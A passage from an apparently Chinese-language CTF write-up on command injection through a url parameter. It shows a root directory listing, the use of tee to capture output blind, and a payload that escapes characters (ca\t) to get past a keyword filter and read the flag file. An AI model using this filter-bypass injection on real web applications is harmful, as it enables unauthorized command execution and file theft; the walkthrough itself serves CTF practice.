发现没有返回值,所以这里用到tee命令,用来读取得到的内容并写入文件中。

接下来直接访问/1.txt即可看到我们的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a_here_is_a_f1ag
bin
boot
dev
etc
flllll\aaaaaaggggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

尝试得到flag,这里由于catla都被过滤了,这里用到转义符\t,\a

1
/?url=ca\t /flllll\aaaaaaggggggg|tee 2.txt;